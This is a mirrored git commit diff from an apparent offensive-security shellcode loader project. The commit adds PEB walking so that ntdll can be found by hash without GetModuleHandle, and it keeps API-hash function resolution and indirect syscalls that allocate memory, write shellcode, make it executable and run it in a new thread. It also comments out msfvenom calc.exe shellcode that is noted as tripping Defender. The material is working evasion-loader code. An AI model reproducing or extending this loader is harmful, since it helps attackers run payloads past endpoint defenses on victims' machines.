mirror of
https://github.com/srothlisberger6361/ShellCodeLoader_Indirect_Syscalls
synced 2026-06-06 16:44:34 +00:00
add GetModuleHandleByHash
This commit is contained in:
@@ -1,7 +1,8 @@
|
||||
#pragma once
|
||||
# include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// PEB/TEB
|
||||
#include <winternl.h>
|
||||
// https://stackoverflow.com/questions/1941307/debug-print-macro-in-c
|
||||
#define DEBUG
|
||||
|
||||
@@ -11,7 +12,41 @@
|
||||
#else
|
||||
#define DEBUG_PRINT(...) do{ } while ( false )
|
||||
#endif
|
||||
|
||||
#define MAX_DLL_NAME_LENGTH 256;
|
||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD LoadCount;
|
||||
WORD TlsIndex;
|
||||
union
|
||||
{
|
||||
LIST_ENTRY HashLinks;
|
||||
struct
|
||||
{
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
/*_ACTIVATION_CONTEXT* EntryPointActivationContext;*/
|
||||
PVOID EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
|
||||
/*
|
||||
* Structure to hold information about our syscalls
|
||||
*/
|
||||
|
||||
@@ -36,12 +36,12 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
|
||||
//LPVOID pProc = (LPVOID)GetProcAddress(hNtDll, funcName);
|
||||
LPVOID pProc = GetProcAddressByHash(hNtDll, function_hash);
|
||||
if (pProc == NULL) {
|
||||
DEBUG_PRINT("GetProcAddressByHash failed for %p\n", function_hash);
|
||||
DEBUG_PRINT("GetProcAddressByHash failed for 0x%x\n", function_hash);
|
||||
return (NTSTATUS) -1;
|
||||
}
|
||||
|
||||
|
||||
DEBUG_PRINT("Function for hash %p at %p\n", function_hash, pProc);
|
||||
DEBUG_PRINT("Function for hash 0x%x at %p\n", function_hash, pProc);
|
||||
/*
|
||||
0:000> uf ntdll!NtCreateProcess
|
||||
ntdll!NtCreateProcess:
|
||||
@@ -67,7 +67,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
|
||||
if (*(ptr + 1) == 0x05) {
|
||||
// 0xc3 => ret
|
||||
if (*(ptr + 2) == 0xc3) {
|
||||
DEBUG_PRINT("Syscall for %p at %p. ID: %02x\n", function_hash, ptr, syscallId);
|
||||
DEBUG_PRINT("Syscall for 0x%x at %p. ID: %02x\n", function_hash, ptr, syscallId);
|
||||
*outSyscallId = syscallId;
|
||||
*outpSyscall = ptr;
|
||||
return ERROR_SUCCESS;
|
||||
@@ -77,7 +77,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
|
||||
|
||||
// prevent an endless loop
|
||||
if ((ptr - (PBYTE)pProc) == 50) {
|
||||
DEBUG_PRINT("Could not identify Syscall for %p\n", function_hash);
|
||||
DEBUG_PRINT("Could not identify Syscall for 0x%x\n", function_hash);
|
||||
return (NTSTATUS)-1;
|
||||
}
|
||||
ptr++;
|
||||
@@ -93,36 +93,36 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp
|
||||
*/
|
||||
|
||||
NTSTATUS populate_syscall_table(HMODULE hNtDll, _Out_ PSYSCALL_INFO_TABLE pSyscallTable) {
|
||||
LPCSTR funcName = "NtAllocateVirtualMemory";
|
||||
//LPCSTR funcName = "NtAllocateVirtualMemory";
|
||||
NTSTATUS status = (NTSTATUS)-1;
|
||||
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId);
|
||||
status = resolve_syscall(hNtDll, pSyscallTable->NtAllocateVirtualMemory.functionHash, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId);
|
||||
if (status != ERROR_SUCCESS) {
|
||||
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
|
||||
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtAllocateVirtualMemory.functionHash);
|
||||
return (NTSTATUS)-1;
|
||||
}
|
||||
|
||||
funcName = "NtProtectVirtualMemory";
|
||||
//funcName = "NtProtectVirtualMemory";
|
||||
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId);
|
||||
status = resolve_syscall(hNtDll, pSyscallTable->NtProtectVirtualMemory.functionHash, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId);
|
||||
if (status != ERROR_SUCCESS) {
|
||||
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
|
||||
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtProtectVirtualMemory.functionHash);
|
||||
return (NTSTATUS)-1;
|
||||
}
|
||||
|
||||
funcName = "NtCreateThreadEx";
|
||||
//funcName = "NtCreateThreadEx";
|
||||
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId);
|
||||
status = resolve_syscall(hNtDll, pSyscallTable->NtCreateThreadEx.functionHash, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId);
|
||||
if (status != ERROR_SUCCESS) {
|
||||
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
|
||||
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtCreateThreadEx.functionHash);
|
||||
return (NTSTATUS)-1;
|
||||
}
|
||||
|
||||
funcName = "NtWaitForSingleObject";
|
||||
//funcName = "NtWaitForSingleObject";
|
||||
//status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId);
|
||||
status = resolve_syscall(hNtDll, pSyscallTable->NtWaitForSingleObject.functionHash, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId);
|
||||
if (status != ERROR_SUCCESS) {
|
||||
DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName);
|
||||
DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtWaitForSingleObject.functionHash);
|
||||
return (NTSTATUS)-1;
|
||||
}
|
||||
|
||||
@@ -160,7 +160,7 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons
|
||||
DEBUG_PRINT("Allocated memory at %p\n", lpAddress);
|
||||
|
||||
// Write shellcodde
|
||||
MoveMemoryReImpl(lpAddress, shellcode, shellcode_len);
|
||||
MoveMemoryReImpl(lpAddress, (const PVOID)shellcode, shellcode_len);
|
||||
|
||||
// make page executable
|
||||
ULONG ulOldProtect = 0;
|
||||
@@ -205,20 +205,30 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons
|
||||
// Entrypoint
|
||||
int main()
|
||||
{
|
||||
// todo: resolve ntdll from peb
|
||||
/*
|
||||
// GMH not needed any longer
|
||||
HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
|
||||
*/
|
||||
HMODULE hNtDll = GetModuleHandleByHash(0x22d3b5ed);
|
||||
if (hNtDll == NULL) {
|
||||
DEBUG_PRINT("GetModuleHandle failed for ntdll!\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("NtDll mapped to %p\n", hNtDll);
|
||||
|
||||
/*
|
||||
* Just a test to make sure it works for other modules as well
|
||||
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
|
||||
HMODULE hKernel322 = GetModuleHandleByHash(0x6ddb9555);
|
||||
DEBUG_PRINT("kernel32: %p / %p\n", hKernel32, hKernel322);
|
||||
*/
|
||||
|
||||
DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_calc));
|
||||
DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_int3));
|
||||
|
||||
/*
|
||||
* C:\Users\joshua\Desktop\ShellCodeLoader_Indirect_Syscalls>"C:\Program Files\Python311\python.exe" create_api_hashes.py
|
||||
* string: ntdll, hash: 0x1006db43
|
||||
* string: ntdll.dll, hash: 0x22d3b5ed
|
||||
* string: NtAllocateVirtualMemory, hash: 0x6793c34c
|
||||
* string: NtProtectVirtualMemory, hash: 0x82962c8
|
||||
* string: NtCreateThreadEx, hash: 0xcb0c2130
|
||||
@@ -237,7 +247,7 @@ int main()
|
||||
return -1;
|
||||
}
|
||||
|
||||
status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_calc));
|
||||
status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_int3));
|
||||
|
||||
if (status != ERROR_SUCCESS) {
|
||||
DEBUG_PRINT("Error executing shellcode!\n");
|
||||
|
||||
@@ -14,6 +14,45 @@ DWORD runtime_hash(unsigned char* str)
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Get a handle to a loaded DLL (by Hash)
|
||||
// https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/
|
||||
HMODULE GetModuleHandleByHash(DWORD module_hash) {
|
||||
|
||||
HMODULE module_base = NULL;
|
||||
//PPEB pPEB = getPEB();
|
||||
PPEB pPEB = (PPEB)(__readgsqword(0x60));
|
||||
//DEBUG_PRINT("PEB at %p\n", pPEB);
|
||||
PPEB_LDR_DATA pLDR = pPEB->Ldr;
|
||||
PLIST_ENTRY pModuleList = &(pLDR->InMemoryOrderModuleList);
|
||||
|
||||
// https://learn.microsoft.com/de-de/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170
|
||||
PMY_LDR_DATA_TABLE_ENTRY currentModule = NULL;
|
||||
PLIST_ENTRY currentEntry = pModuleList->Flink;
|
||||
PLIST_ENTRY firstEntry = pModuleList;
|
||||
CHAR cstr_module_name[256] = { 0 };
|
||||
// in a double linked list, the last entry points to the first one
|
||||
while (currentEntry->Flink != firstEntry)
|
||||
{
|
||||
currentModule = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
|
||||
// https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170
|
||||
wcstombs_s(NULL, cstr_module_name, sizeof(cstr_module_name), currentModule->FullDllName.Buffer, currentModule->FullDllName.Length - 1);
|
||||
DEBUG_PRINT("Found DLL %s. Base:%p\n", cstr_module_name, currentModule->InInitializationOrderLinks.Flink);
|
||||
|
||||
if (module_hash == runtime_hash(cstr_module_name)) {
|
||||
DEBUG_PRINT("Found DLL %s for hash 0x%x. Base: %p\n", cstr_module_name, module_hash, (HMODULE)currentModule->InInitializationOrderLinks.Flink);
|
||||
// Actually this should work, but it does return a wrong address?!
|
||||
//return (HMODULE)currentModule->DllBase;
|
||||
return (HMODULE)currentModule->InInitializationOrderLinks.Flink;
|
||||
}
|
||||
|
||||
//wprintf(L"Module: %s\n", currentModule->FullDllName.Buffer);
|
||||
|
||||
currentEntry = currentEntry->Flink;
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Resolve API function by function hash. Generate the API hashes using create_api_hashes.py
|
||||
// https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
|
||||
// TODO: Create a compiletime_hash Macro to generate the functions dynamically during build
|
||||
@@ -50,13 +89,13 @@ LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) {
|
||||
{
|
||||
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
|
||||
proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA);
|
||||
DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc);
|
||||
DEBUG_PRINT("FuncName: %s - FuncHash: 0x%x - Ptr: %p\n", functionName, functionNameHash, proc);
|
||||
return proc;
|
||||
}
|
||||
}
|
||||
// fail
|
||||
if (proc == NULL) {
|
||||
DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash);
|
||||
DEBUG_PRINT("Failed to resolve function for hash 0x%x!\n", function_hash);
|
||||
}
|
||||
return proc;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
// PEB / TEB
|
||||
#include <winternl.h>
|
||||
|
||||
/*
|
||||
* Todo:
|
||||
@@ -10,4 +12,27 @@
|
||||
|
||||
DWORD runtime_hash(unsigned char* str);
|
||||
LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash);
|
||||
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len);
|
||||
HMODULE GetModuleHandleByHash(DWORD module_hash);
|
||||
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#if defined( _WIN64 )
|
||||
#define PEBOffset 0x60
|
||||
#define LdrOffset 0x18
|
||||
#define ListOffset 0x10
|
||||
PPEB getPEB(void) {
|
||||
return (PPEB)__readgsqword(PEBOffset);
|
||||
}
|
||||
|
||||
#elif defined( _WIN32 )
|
||||
#define PEBOffset 0x30
|
||||
#define LdrOffset 0x0C
|
||||
#define ListOffset 0x0C
|
||||
PPEB getPEB(void) {
|
||||
return (PPEB)__readfsdword(PEBOffset);
|
||||
}
|
||||
#endif
|
||||
@@ -26,7 +26,7 @@ const char shellcode_int3[] = {
|
||||
};
|
||||
|
||||
// msfvenom (triggers defender)
|
||||
unsigned char shellcode_calc[] = {
|
||||
/*unsigned char shellcode_calc[] = {
|
||||
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,
|
||||
0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,
|
||||
0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
|
||||
@@ -46,4 +46,4 @@ unsigned char shellcode_calc[] = {
|
||||
0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,
|
||||
0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,
|
||||
0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,
|
||||
0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
|
||||
0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };*/
|
||||
|
||||
@@ -2,7 +2,8 @@
|
||||
# encoding: utf-8
|
||||
|
||||
dlls = [
|
||||
'ntdll'
|
||||
'ntdll.dll',
|
||||
'KERNEL32.DLL'
|
||||
]
|
||||
|
||||
functions = [
|
||||
|
||||
@@ -1,78 +0,0 @@
|
||||
#include <Windows.h>
|
||||
// DEBUG_PRINT
|
||||
#include "ShellCodeLoader.h"
|
||||
|
||||
// https://theartincode.stanis.me/008-djb2/
|
||||
DWORD runtime_hash(unsigned char* str)
|
||||
{
|
||||
DWORD hash = 5381;
|
||||
int c;
|
||||
|
||||
while (c = *str++)
|
||||
hash = ((hash << 5) + hash) + c; /* hash * 33 + c */
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Resolve API function by function hash. Generate the API hashes using create_api_hashes.py
|
||||
// https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
|
||||
LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) {
|
||||
LPVOID proc = NULL;
|
||||
// Get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread)
|
||||
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
|
||||
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + dosHeader->e_lfanew);
|
||||
|
||||
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + exportDirectoryRVA);
|
||||
|
||||
// Get RVAs to exported function related information
|
||||
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfFunctions);
|
||||
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNames);
|
||||
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread)
|
||||
// If yes, get its virtual memory address (this is where CreateThread function resides in memory of our process)
|
||||
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
|
||||
{
|
||||
DWORD functionNameRVA = addressOfNamesRVA[i];
|
||||
DWORD_PTR functionNameVA = (DWORD_PTR)hModule + functionNameRVA;
|
||||
char* functionName = (char*)functionNameVA;
|
||||
DWORD_PTR functionAddressRVA = 0;
|
||||
|
||||
// Calculate hash for this exported function
|
||||
DWORD functionNameHash = runtime_hash(functionName);
|
||||
|
||||
// If hash for CreateThread is found, resolve the function address
|
||||
if (functionNameHash == function_hash)
|
||||
{
|
||||
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
|
||||
proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA);
|
||||
DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc);
|
||||
return proc;
|
||||
}
|
||||
}
|
||||
// fail
|
||||
if (proc == NULL) {
|
||||
DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash);
|
||||
}
|
||||
return proc;
|
||||
}
|
||||
|
||||
|
||||
// stolen from: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L198C1-L211C2
|
||||
PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len) {
|
||||
char* d = dest;
|
||||
const char* s = src;
|
||||
if (d < s)
|
||||
while (len--)
|
||||
*d++ = *s++;
|
||||
else {
|
||||
char* lasts = s + (len - 1);
|
||||
char* lastd = d + (len - 1);
|
||||
while (len--)
|
||||
*lastd-- = *lasts--;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
Reference in New Issue
Block a user